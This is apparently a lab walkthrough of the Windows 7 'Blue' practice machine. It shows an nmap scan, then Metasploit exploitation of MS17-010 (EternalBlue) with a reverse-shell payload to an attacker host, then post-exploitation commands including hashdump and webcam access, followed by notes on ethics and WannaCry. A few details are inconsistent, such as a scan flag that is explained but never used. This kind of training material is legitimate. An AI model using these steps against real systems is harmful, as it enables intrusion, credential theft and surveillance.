Windows BLUE MACHINE PENTESTING MS17-010 (EternalBlue)

1. Reconnaissance Phase (Information Gathering)

The first phase of hacking focuses on collecting information about the target.
The goal is to identify technologies, services, and potential weaknesses (vulnerabilities/misconfigurations).

---

2. Nmap Scan on the Target

Nmap Command

nmap -sC -sV -v3 -p- -Pn -oN nmap-scan.txt <ip>

Explanation of Flags
Flag Meaning
-sC Runs default Nmap scripts
-sV Version detection
-v3 High verbosity
-p- Scan all 65535 ports
-Pn Skip host discovery (treat as alive)
-oN Save output to file
--script vuln Runs vulnerability-detection NSE scripts

3. Scan Results Summary

The scan revealed several critical Windows services:

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds (Windows 7 SP1)
3389/tcp open ssl/ms-wbt-server
49152–49160/tcp open msrpc

The machine is identified as:
Windows 7 Professional SP1 x64 → a system known to be vulnerable to MS17-010 EternalBlue.

4. Vulnerability Detection – MS17-010

Nmap Revealed

smb-vuln-ms17-010: VULNERABLE
CVE: CVE-2017-0143
Risk: HIGH

MS17-010 (EternalBlue) is a Remote Code Execution (RCE) vulnerability in SMBv1.
It was used in the WannaCry, NotPetya, and many major global attacks.

5. Gaining Access Using Metasploit

Start Metasploit

msfconsole

Search the exploit

search ms17-010

Use the EternalBlue exploit:

use exploit/windows/smb/ms17_010_eternalblue

6. Configure the Exploit

Check options

options

Set target IP (victim)

set rhosts <target-ip>

Set payload (optional but good for learning)

set payload windows/x64/shell/reverse_tcp

Set attacker IP (your Kali IP)

set lhost <attacker-ip>

7. Verify Vulnerability Before Exploiting

check

If output shows The target is vulnerable, proceed.

8. Launch the Exploit

exploit

Successful exploitation gives:

Meterpreter session 1 opened

You now have SYSTEM-level access to the Windows 7 machine.

9. Upgrading to a Better Meterpreter Shell

Background the session:

ctrl + z → y

Search upgrade module:

search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter

Set session:

set session 1

Run:

run

Now you will get:

Meterpreter session 2 opened

10. Meterpreter Commands (Basics)

Inside meterpreter:

help

Useful commands:

Command	Description
sysinfo	Get OS info
getuid	Shows current user
ps	List processes
hashdump	Dump password hashes
shell	Get Windows CMD
upload/download	Move files
screenshare/screenshot	Capture the desktop
webcam_list	List webcams
migrate <PID>	Migrate into another process

✔ Importance of Reconnaissance

Reconnaissance means collecting information about the target before attacking.
It helps us understand **what services are running, what versions they use, and what weaknesses may exist**, so we can plan the attack properly.

✔ Understanding Ports & Services

Each port represents a door into the system.
Different ports run different services (like SMB, HTTP, RDP).
If a service is outdated or misconfigured, it becomes a **possible entry point for hackers**.

✔ Why MS17-010 is Dangerous

MS17-010 is a critical SMB vulnerability in Windows.
It allows attackers to **run commands on the system without even logging in**.
This means a hacker can take complete control of the machine remotely.

✔ How EternalBlue Changed Cybersecurity

EternalBlue was so powerful that it became a global cyberweapon.
It was used by hackers to crash systems, steal data, and spread ransomware.
After EternalBlue, companies became more serious about **patching and updating systems**.

✔ Why Studying Vulnerabilities Is Essential

By understanding how vulnerabilities work, we learn:

- how hackers exploit systems,
- how to detect weak points, and
- how to secure our own systems.
  It improves both **offensive and defensive** cybersecurity skills.

✔ Ethical Usage of Metasploit

Metasploit is powerful and dangerous if misused.
It must only be used on **authorized systems** for learning, testing, or security assessments.
Ethical usage keeps you legal, safe, and professional.

✔ Real-World Impact (WannaCry Ransomware)

WannaCry used EternalBlue to spread rapidly across the world.
It infected hundreds of thousands of computers, locked their data, and demanded ransom.
Hospitals, banks, and companies were affected, causing huge financial and operational damage.